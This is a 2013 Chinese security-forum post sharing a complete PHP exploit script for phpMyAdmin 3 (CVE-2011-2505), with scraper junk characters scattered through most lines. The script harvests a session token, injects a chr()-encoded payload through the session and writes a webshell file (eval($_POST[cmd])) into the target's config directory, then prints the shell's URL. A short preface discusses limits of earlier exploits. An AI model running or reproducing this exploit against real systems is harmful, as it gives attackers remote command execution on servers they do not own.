找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2105|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
( B* g4 c( _  \. M) ~3 R. x& Y0 C. Z5 h: h4 I0 D/ p
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。5 i5 }+ W! n2 T- x0 c9 N

4 }: v5 a& T/ G' A: f* `2 v7 ~首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:/ J8 n/ I7 E9 p8 H
一是session.auto_start = 1;
$ f$ F% E+ n, B二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。3 [  P" \4 n$ T# N& ~; B$ S, k
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。" z; e( p& b: H9 G0 P% G

) j; r+ e( ~7 x# l4 R在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。& ^- ~6 J& \# q, N# W

+ j4 F- l! D2 g9 Z( ^于是写了这个php版本的exp,代码如下:  ?* i; j! I) m0 V3 x. g6 {* z

' `9 w8 V/ f- R6 h6 }. n& J: N#!/usr/bin/php# i5 ^( P0 h( r- p2 k# _
<?php! C- l5 Z5 p; Z4 O7 g
print_r('
5 F* H5 V- c  A5 Y3 q5 {+---------------------------------------------------------------------------+( V  @- Z8 W* Y; [- u1 l
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
3 f6 l: L+ v& W9 J9 kby oldjun(www.oldjun.com)) S  D9 r+ h( X3 e$ C
welcome to www.t00ls.net* y# c) q* m9 K# @$ |+ {' A2 m
mail: oldjun@gmail.com3 x7 X4 d$ q! n9 @0 v7 Z
Assigned CVE id: CVE-2011-2505
7 O6 h6 r) l# b$ F& B$ X+---------------------------------------------------------------------------+4 c' h$ R3 u. E! u5 @6 q  P
');5 e* E" [$ i5 M0 P  M

* X# v: q: \! D/**
* s- i% \: ]7 d! b5 M- A * working when the directory:"config" exists and is writeable.
: G+ V0 {4 e( Y" G- g! t**/
% K' \; t4 a' V% h " o6 T$ x1 E) e' X2 p  Q/ k& J1 s" \5 t
if ($argc < 3) {
' X3 _1 B! v0 _7 |- S: n* p  f    print_r('9 ^/ O, J, {3 Q2 S! p, k
+---------------------------------------------------------------------------+0 c6 R* o* q! T/ ?' |! _
Usage: php '.$argv[0].' host path0 [3 |& O* U1 H. @9 s# ^
host:      target server (ip/hostname)9 a" y: u) ]8 a9 w  F6 I. [
path:      path to pma3
4 a2 {6 }4 j. E; L: q7 fExample:
- B6 }# R8 k6 O/ l; Qphp '.$argv[0].' localhost /pma/
! |) w) i3 }. ]  \6 a; c+---------------------------------------------------------------------------+2 X+ b" h3 G6 O6 q# D1 u7 l) ~
');
: ]2 E6 G' g% Q    exit;
7 q! n5 k6 v: F3 _* I; c}
% f3 X. D8 U2 g1 l" C; b& p9 m& P6 a3 D( |8 r
$host = $argv[1];
/ t; s4 x- @9 T* N1 T8 `$path = $argv[2];2 [1 Y  k/ o3 x; t6 p8 l
' @) n, @; L% |4 e
/**
& ]/ n6 q1 m& R! U" e * Try to determine if the directory:"config" exists
( R, A" n! A' u. C1 O& E**/
- ?) i/ S' P& K) m0 h' v( Pecho "[+] Try to determine if the directory:config exists....\n";
; `. M- `8 c5 G3 {. l* E1 n: t$returnstr=php_request('config/');; _4 P4 I: {3 i) u
if(strpos($returnstr,'404')){
! i5 G1 n4 f/ v4 V- c& @& F4 W8 w    exit("[-] Exploit Failed! The directory:config do not exists!\n");7 v( Z: C, ^8 P+ N, m6 @
}
3 {) v1 A. S7 E, n+ I+ A$ y5 A/ Q
5 M5 M1 ]- r$ M; j6 k/**, o1 _0 o$ T* d8 X3 Y# c7 J  f
* Try to get token and sessionid
1 X9 G3 C: |2 y- S**/3 @* Y8 \; a2 k- M% j5 \
echo "[+] Try to get token and sessionid....\n";. I2 Y' @7 c6 q/ C7 o
$result=php_request('index.php');
; n- H) z) ~9 K" Zpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
- m; C8 k# h. Q  `% a$token=$resp[3];
% i2 U7 A; {8 H1 _1 O( D) Y$sessionid=$resp[1];6 J- k) K4 F, i+ V, X8 }9 i
if($token && $sessionid){; _: D4 Q( Y$ P; @/ V# [& `, `
    echo "[+] tokentoken\n";
$ ?( Z4 h/ F9 g' G' [    echo "[+] Session IDsessionid\n";
! V7 g  S( W9 y3 `$ R6 ?& Z. H}else{
" o8 q$ T4 A( u' Q! J4 U/ T9 T    exit("[-] Can't get token and Session ID,Exploit Failed!\n");: }1 g+ `( j) S+ M6 C
}
* V3 J1 |6 a' o& ~( N
- T% q3 p% ^0 W0 N- i3 Z1 K9 M/**
8 p6 r/ M+ n" z3 _6 D * Try to insert shell into session3 {# F* G7 R) f2 m1 n: C" v, _2 s
**/
6 s+ F' P' [% F: Q% \echo "[+] Try to insert shell into session....\n";! y- L$ I& n9 `
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.* ^3 Y) f9 N% ^. k/ c, Q% a) ]9 F

, o1 Z" x4 W$ i) O/**# B& n; P6 U# j. h6 s; Y# d
* Try to create webshell
  f% f0 u# s+ p( A" O! Z' I0 p**/3 u; E4 @' S5 m  j, J/ A9 b2 m
echo "[+] Try to create webshell....\n";
$ ?* i5 A6 ~- C2 q6 ^6 dphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);. J" v7 h3 N: W
/**1 X) ~. @. J! {* }# v. }
* Try to check if the webshell was created successfully
0 {7 D7 D2 N! e6 ~6 `**/
6 P4 q; [8 _% w/ q% \. Iecho "[+] Try to check if the webshell was created successfully....\n";1 o- J. T0 c$ v% f+ a
$content=php_request('config/config.inc.php');
5 p) |% y6 i1 [if(strpos($content,'t00ls')){
/ _% ~& j0 n, ]/ e- [    echo "[+] Congratulations! Expoilt successfully....\n";7 f- g6 [( \; _/ `
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";% c7 \( k4 ~, e3 b8 G
}else{, ^' K/ S$ W# i# f. }' a/ g% s
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
- U% w+ g! o9 g3 M  Y' |}
- v5 {  j1 P% k5 H- R
  D4 `) f$ o  P+ e+ @/ jfunction php_request($url,$data='',$cookie=''){
( }8 h& f, t  v% K    global  $host, $path;( h! V; [9 N9 ~3 O. Q% h) t) \& t
   
, h! E" T% |4 a    $method=$data?'POST':'GET';
8 [1 k: ]. k: q  V' J8 U% k, A   
: M/ \/ Z3 G# y7 J& a) n    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
3 B  ~' g6 M7 m9 Z$ x    $packet .= "Accept: */*\r\n";
8 s! M+ u/ G$ Y9 D    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
3 a6 |# c1 F2 c    $packet .= "Host: $host\r\n";2 e7 P2 I( t, T: d8 N* Y
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";! H9 m- P9 y( @* O7 M
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";6 Z! ?$ ~+ g8 V" G3 X3 {
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
9 h0 V6 O( Q5 O5 A+ ?- Z    $packet .= "Connection: Close\r\n\r\n";* o" g# T4 M  ^; D& ?* I+ [
    $packet .= $data?$data:"";! L9 o* s5 m+ D, X2 W7 a

6 c$ W7 `3 i. s# P! Z    $fp = fsockopen(gethostbyname($host), 80);3 J. t7 Z! Q1 v. ]- H
    if (!$fp) {- H' H" t. p" p2 j( q6 e9 {
    echo 'No response from '.$host; die;
( ~' U% u9 f, u5 t; P    }: T8 I6 L9 w( q5 r3 L
    fputs($fp, $packet);* u( M4 Y; N# S+ c8 W5 `0 Z; [
, @3 Q% F* ~$ s1 J% ~
    $resp = '';5 O* `% P  W5 E( {1 I1 {  i2 n

) N/ K) D' }* q    while ($fp && !feof($fp))- V- ~3 x6 i  Y  S: _2 n/ u# P
        $resp .= fread($fp, 1024);( y# t1 a! O0 z( y
1 d" `5 a  c7 K  e0 u
    return $resp;
* o+ e+ D# Z" {) S  t0 _& J}5 A8 Z: y" y, j0 Z3 ?& G
    8 L) Q  z  g7 M! P% N& P
?>
- g$ h! m3 W3 ]- Q- }.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表